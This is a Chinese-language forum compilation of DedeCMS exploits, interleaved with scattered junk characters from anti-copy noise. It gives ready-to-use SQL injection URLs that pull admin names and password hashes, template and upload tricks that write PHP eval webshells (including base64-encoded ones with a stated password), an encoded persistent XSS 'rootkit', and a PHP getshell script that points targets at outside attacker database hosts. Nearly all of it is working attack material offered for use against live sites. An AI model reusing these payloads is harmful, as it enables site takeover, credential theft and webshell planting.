dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
% W- Z6 o5 ?3 U! m( l6 a( ]& y) Hhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
3 B' e4 {+ P% d$ Q) v
6 ?: S$ i# ?0 i) O$ j  v' H

$ o) b8 k& y: M- ~
; B: r( H  j# B, A9 `
+ q/ x: r/ X; u& B

- G5 s5 ^+ v- I! Q
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
# j/ F9 m) x% V$ a发表后查看或修改即可执行
; @. @  x; d! wa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
3 K# ?9 r! I) x8 S生成x.php 密码xiao，直接生成一句话。
; n+ N0 e$ H, J! ~

6 n: D1 ^5 R/ }0 ?

5 k) x7 l2 k' {) \. H. w4 c6 S) y
, s. v1 n7 L8 z7 b" u

5 `- J3 ]' f2 m0 z/ f& B7 U) {
Dede 5.6 GBK SQL注入漏洞
1 n3 H6 K, }3 n, N9 Z* vhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
4 p8 n7 `1 ~! A( o7 h/ dhttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
1 I6 i2 R6 S7 @, E$ Chttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
0 D8 S9 |2 x# D" _
0 ?9 W) N/ Q+ s& V2 w9 G; d



1 i9 ^8 ]# U$ x( G* F+ _( _. R+ o

  d4 z8 F" i' F, U8 i
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
$ x4 T$ B6 K% g9 `- K/ t" ^


1 Z: d; w$ V( U


3 O4 b. n; @- e, z) X# I! p( zDEDECMS 全版本 gotopage变量XSS漏洞
4 j# d& X; e2 W% P: `1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
4 ^( q8 T3 q& t1 ]+ l! Ihttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

% V6 L! }+ D9 S; Y! H
2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
( S. p$ Z# A% H, D7 H. n0 [1 o9 z! ^6 H2 [http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

5 ~5 m/ G" W7 w* A5 x
4 }+ C5 I5 ~, }1 j. k+ T! nhttp://v57.demo.dedecms.com/dede/login.php


color=Red]DeDeCMS(织梦)变量覆盖getshell
( H1 R4 f! ~# {; _#!usr/bin/php -w
4 U) Y  s: X7 J/ Z. _<?php
% \- L* ~# I/ i; `) ^error_reporting(E_ERROR);
2 b& Z( B' R; H$ H* {& A+ \set_time_limit(0);
; a$ F- I; T# C: Jprint_r('
& V; G( {5 B, L4 zDEDEcms Variable Coverage
; @& C8 \/ E( F* ]! d* S* _Exploit Author: www.heixiaozi.comwww.webvul.com
);
/ i; l7 A: E, mecho "\r\n";
* ]" a- H7 U% `8 ]' k' h6 Kif($argv[2]==null){
print_r('
- _0 w2 _: b9 |! U& w0 r! O/ Z4 J+---------------------------------------------------------------------------+
4 b/ u! c+ w! JUsage: php '.$argv[0].' url aid path
' k) i9 o' ]; f; u4 S( U2 C& Aaid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
& R) D7 N- R0 T2 Z! Z6 R- q( EExample:
, X; {9 t# Q: f0 ]php '.$argv[0].' www.site.com 1 old
4 D) @7 e3 O* ?9 l2 x+---------------------------------------------------------------------------+
3 x! y$ z7 R5 \5 l');
1 A2 H: H% \# V0 e) f2 j1 s. e# \exit;
}
% A) w# b6 w) O( H: d) I$url=$argv[1];
3 U% b. m6 i1 H- P7 M  [% x9 o# n$aid=$argv[2];
2 i7 ~" i2 [5 K$ m) w$path=$argv[3];
3 p/ R  z' t- e- \) Y$ `$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
5 ?- U3 l) I( A9 W' p) x1 DExploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;


* L7 ^( h4 `' l; f1 Gif($aid==2)echo "
8 f4 [# f9 Y& J! y7 E2 C* ?Shell:".$url."/$path/fuck.php\n" ;
& U2 W+ M; p: M; ^' Q
4 p- P9 C: d6 t  N- a
if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
- r' t, j- ^6 Q1 D# \" j* k' k
6 {* ~  j! e$ q9 h
8 `. J8 r3 o/ }  ^2 C0 P}else{
; `2 i, E1 [9 s9 ^echo "
Exploit Failed \n";
2 A  t  R! b1 b/ @9 q4 q}
function Getshell($url,$aid,$path){
$id=$aid;
* Y( H( v7 g; F& J: a2 v$host=$url;
  L- |: i5 v# L) P$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
) E$ |" o' k6 N8 V' `# f$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
5 M. ^+ ^7 @, P9 t3 b/ M/ S$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
( w( d1 i2 H8 b6 S: e$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
5 C. @( g) X. x$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
! T& x8 t3 y  B//$data .= "Accept-Encoding: gzip,deflate\r\n";
) N9 ^) g! F! N0 z$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
' ?' f! a. ~5 y' B  j- n' Z$data .= "Connection: keep-alive\r\n";
, d' m* O+ E' D! E( k! C% v% j$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
% b4 E. U- j* e9 V$data .= $content."\r\n";
$ock=fsockopen($host,$port);
0 H1 u. K; V. c# ~if (!$ock) {
echo "
No response from ".$host."\n";
9 ~; A' t& n* v4 m( C* R}
) w4 s- F8 ~& s2 q3 W& B; l+ bfwrite($ock,$data);
' F0 c/ Y6 J4 z4 [! w8 i$ Kwhile (!feof($ock)) {
$exp=fgets($ock, 1024);
7 x: |8 C3 R7 I3 Sreturn $exp;
0 T! ]$ v( [' @/ v! @; r. a}
}
/ j' b1 n+ j) `+ x: V, x
7 o2 G* h3 ]* D3 N1 S5 d! ^- ^
: o2 g( ?4 C; |) ?8 T' x?>
2 O' ?8 [$ f: y8 X/ j
5 c. W, @: `1 G% M9 A4 C7 z

8 Q& a4 R2 s1 J; c1 h
; x5 ~. f$ r7 C2 _& s1 G7 `+ F
2 d" A9 `( \- j6 ~2 q

1 y) z1 a: B- i4 K: e, g
+ i9 x3 a- Y9 D
% D: }4 V& W  t& B( O( K4 N
DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
& l  m; z8 x! p) ]) l! U+ bhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
( g" F  Y) M2 S, K8 F4 w3 k( U- ~0 V
! I" x& D6 b$ Q- c( k, p
把上面validate=dcug改为当前的验证码，即可直接进入网站后台
# W7 m; i2 l5 H$ J, n4 Z
/ J, Q6 j  I& n
此漏洞的前提是必须得到后台路径才能实现

3 x8 W7 x2 W  m5 ]/ q7 h: G4 J


. {" D6 w2 v2 }* q% l- X

! W) \( j$ u7 B5 v0 {1 ^

+ K0 ~$ R! E. D
. j. Q" ?4 c" F0 A& @; k
8 R$ W% J4 X! x& S: \Dedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
  V7 y2 x* D5 _3 j9 X# H2 a( G
: _* X7 e2 a0 p, R# Q! ~  d
' j; M/ D" E& C/ R" z& i0 y$ C$ l再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
1 l- ^1 {; a4 G& e2 C; ~<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
) b" |& c! ~9 I( l2 N- w1 p- t, W<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
# R0 z& }" ]/ W# I, G- Y<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
) A: D8 t4 ]6 ]' d! M<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
8 C" K% R" g6 x- K<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
/ b* R: K$ a9 D, y; w) F}
8 W3 L; H7 V- f, \5 n: F</script>



1 U8 a" O' x- O- N9 |! o
0 d. {) J, t! g: h+ y$ ^
1 |4 |' t! g: Q% ?5 d; Q, G) c" J) T
& {8 }( A" r( v5 A
1 s7 a, J* ^. [7 q


, V2 `8 ~) M) v' f7 XDedeCms v5.6 嵌入恶意代码执行漏洞
: `( k/ ?) h% _注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
% C+ d1 K$ R0 Q5 I7 T. ?8 [5 E/ [Dedecms <= V5.6 Final模板执行漏洞
4 u! P$ @% I. G6 K6 z; n注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
- f0 q! w! g( A# a  Euploads/userup/2/12OMX04-15A.jpg

" U% k$ k6 F5 w2 [7 e
8 ?' q  x: D; B( G% ?8 {模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
6 f0 Z5 L+ P) M5 K( ~; R8 ^@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
, D  i; _+ G/ O3 k@fclose($fp);
{/dede:name}
6 p2 x; ~% D5 A+ `; x2 修改刚刚发表的文章，查看源文件，构造一个表单：
' u0 U* E4 C+ e<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
. S/ G+ C- n1 d& F9 ^& v<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
$ g$ Q5 o3 A$ U+ C' D<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />

+ n' e7 ?5 U, A1 R* s( k2 Q1 Z
9 S* a6 m4 p5 s) ^. k% a% z6 z<div id="mainCp">
! B( e( y0 o3 c/ e+ C# A; Q3 r<h3 class="meTitle"><strong>修改文章</strong></h3>
( [2 i) `2 Y( V8 o" I" _$ M% x

<div class="postForm">
+ ~0 U) ~, W& O+ o) ?<label>标题：</label>
1 a2 D/ E/ a) k/ L<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
$ R, p9 ~  s" Q: B2 Y8 s
+ E4 z% U* L. Z( l+ `1 M1 {9 w
  e' }2 K: a& s6 C) T. G) M& B<label>标签TAG：</label>
! d& H1 \% V2 j9 d1 \% x<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
* u& u' [$ C/ D  u" I5 A

<label>作者：</label>
3 P& Z$ O" T/ J: X, z! F<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

9 |! @) K9 D$ W. _& V3 h+ U$ g
3 Q* Q& _! a& U<label>隶属栏目：</label>
- I4 Q: P: A, F/ e  k: i<select name='typeid' size='1'>
9 g, b! l5 l  b( v1 x# _# p$ F<option value='1' class='option3' selected=''>测试栏目</option>
6 n. i) ]/ l' \5 a* I( D</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)

# S/ |- [, j+ ^5 C* i& X
<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
! V/ z- H/ V1 ~4 _7 `: n<option value='1' class='option3' selected>hahahha</option>
- J1 P( Z" Q( R8 Z9 y; }4 i( F</select>
5 c' w6 C$ T3 ~# K6 |1 L* x

- _( O7 _$ K& Q<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)

8 S7 ~" V1 {! `1 `6 p  C
<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


! N9 p9 o; o3 N<input type='text' name='templet'
9 x1 h& k$ R9 w; i9 lvalue="../ uploads/userup/2/12OMX04-15A.jpg">
' c# u3 J  V4 b* i8 G<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>
4 M% ~+ W+ p# h& O# j! Q

# w0 \/ y# a* W0 L, }; M<!-- 表单操作区域 -->
# e8 w. e& Q# f8 g( H<h3 class="meTitle">详细内容</h3>
$ m4 _# j, O' E' t1 c- y- m

' g4 r1 L7 D3 ~% y7 |<div class="contentShow postForm">
' u$ m- _' {3 H. i5 W# Z" y; L<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>

% t$ |; n/ g9 t0 A" C/ B
<label>验证码：</label>
9 \( j5 G0 R/ {; O3 t* T<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
) d9 Q& s# f* M: {, v$ K7 j5 Q

8 r8 C- B" u! u0 I% S  X  b( e<button class="button2" type="submit">提交</button>
6 m0 O0 P2 e3 e9 }, J8 O3 Z+ t& s; N<button class="button2 ml10" type="reset">重置</button>
3 A  B* w% M- E/ `/ f</div>

$ ]5 Y- r  E: e
</div>

( u! A: m4 f5 e: O3 j+ h# E
- x7 w% K" Z+ Q3 k  d; X7 F5 n</form>

5 s. M  T, c* x1 z
提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
2 a& s; o. Y, r3 j2 P  Z, p7 Q4 Yhttp://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php


  A6 I8 c3 f% E% f* {$ O* ~+ d
6 c! Z" X0 R3 n. ~% i: q( A) `8 V
, U( P  `. ]& L5 `& W; |





5 v( F" a2 C/ ^$ O% l6 U
) y1 r( i6 ^$ D5 a& {! W( D! T
DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
1 f8 L2 L2 R1 W2 }: \8 U- @1 J保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
6 [& p# ~8 E2 x& D2 P9 ?/ P6 B<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
' p1 G% e1 F! o! {, r( X! n6 M<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
$ b6 e# o* R% ~4 k1 f' j% {; L<button class="button2" type="submit" >更改</button>
</form>
. f3 Z3 h! v& t& ]
) b7 t) I% T/ k3 }- n
* }  [% l8 Q8 C( ^/ N构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
9 o# j7 P3 u& M" L" o# _) @发表文章，然后构造修改表单如下：


! B, ^- R- x) P<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
. }0 I4 e7 X/ ~1 t& Z8 l$ @7 X<input type="hidden" name="dopost" value="save" />
( {: v! B* v) @7 X/ ]( Q, n2 A<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
  H/ R! g* k  u. A+ u: i  F<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
. C& @' }+ s! P' {+ [# Z( n<option value='1' class='option3' selected=''>Test</option>
) Y! a, y1 A) W1 T% s1 H- {: Y2 w! Q<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
* {- y% B: ?7 u<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
& E, x3 V' }6 M) G' O8 M<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
  M& k, \' n. J<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
0 k* |: h" U  w8 t2 w</form>


: W( g/ L9 a& r+ L! L




' E0 w% e1 C% G& Z& k
* m  T) X! v: y, Z# l' p* \
" |9 s" A3 D8 K
. ^7 S* ]! C6 n% j

织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
6 q0 s- u. Z5 ^( W" G" y' G
/ x; S  K- |: d


* j% a$ i9 _+ \1 J$ Y



: q; _6 Y7 Q) V& J0 F1 f
5 \+ I& K: N$ h+ ?: h; L; ?
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
% q3 e2 i4 ~9 b/ X3 p8 ^6 P. b/ C$ Phttp://www.test.com/plus/carbuya ... urn&code=../../

) M+ [+ |1 {8 E; Y! }6 C7 O

/ E2 B7 O" ?) g4 x( P' i

9 f  p2 E( ^, q# p) u8 Y6 }) ~- o
+ A- N: L) p7 H
4 _  N8 s; d# a$ a: T

- O2 K- m& Z4 P8 s) D% l" |
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
5 \! z6 ?' Y: P5 s6 V! J! P1 g密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
% j( E. O) l4 s


! s) H" K& C1 u- s
3 ]7 [2 B0 m( F" \( H% I
( O$ l1 R5 e. C& r2 G! _

8 S% ^4 T" t9 T! }( i7 s. o

: ?+ r  u7 x  I
# w) M6 y+ |5 i% y. R3 ]织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='


9 A9 }0 |, {0 ~! K/ H. @



# b( w2 g' `" E1 ?
+ v  K+ f. `) u$ J7 Z% r, L


# b8 B* U; I$ t3 \织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
8 R1 e, p# `) i; J<html>
" r$ q# c) B5 Q8 \<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
5 k! M: `+ j3 A$ c6 ~7 t* n/ D: i</head>
# o$ @# m$ T# q9 ?$ s* h( T<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
& U  V/ l$ j5 K/ [  x' O<input type='hidden' name='activepath' value='/data/cache/' />
: d4 s* h+ @9 V. }. g<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
$ Y+ B# H* j/ F1 ~) C) e+ n! Y<input type='hidden' name='job' value='upload' />
( {# j# W* @* a. Y' r<input type='hidden' name='newname' value='fly.php' />
0 J' K. T+ ?, B  z* u; j0 [* ySelect U Shell <input type='file' name='uploadfile' size='25' />
. S( [) x5 ~" M0 @2 X4 x<input type='submit' name='sb1' value='确定' />
</form>
' W& g1 c; `3 c<br />It's just a exp for the bug of Dedecms V55...<br />
- [1 _2 t; ]$ H1 _+ SNeed register_globals = on...<br />
9 Q! d- m! T- |# j' kFun the game,get a webshell at /data/cache/fly.php...<br />
5 Y6 l2 M# Y( n; j) |) G</body>
- l2 x5 N+ b1 G. y+ r</html>





+ L5 T* z2 e2 K% Y
$ u. y2 o" @; a  ?  {: C



; H- K/ g. x  F- G6 e2 z织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
9 W7 \! D9 l' g! U& l$ _% Q$ v利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
- V' [+ e! g2 i! F& P7 U+ X% Z" [1. 访问网址：
  k$ q; l3 Y2 @http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息

* L0 d  T+ |2 s$ ~, I2 K
* A. t* _0 z% X; M. J; j2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
9 @. [3 B3 Z3 L4 C; h' v( mint(3) Error: Illegal double '1024e1024' value found during parsing
0 ^! b  t% ], G3 K3 }7 r  g* CError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
6 c/ |9 ?% |6 J; b  c

3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是


- L- @; m5 Y* q<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
/ i2 \( p- T; p& d9 P( e( ]1 P
+ _0 h" T" T0 B8 f% s) J
% R* U5 @# G/ E( a按确定后的看到第2步骤的信息表示文件木马上传成功.

' Y! r' l+ d3 D/ v9 h# i4 z
  W3 x) V3 R" a7 p, e


+ U- U1 L9 C$ u1 t' g



3 x# J8 L' Q; L

+ H+ o5 a$ ]% C* a# _2 S4 s& e
: G- q* m+ f7 g5 H0 S织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*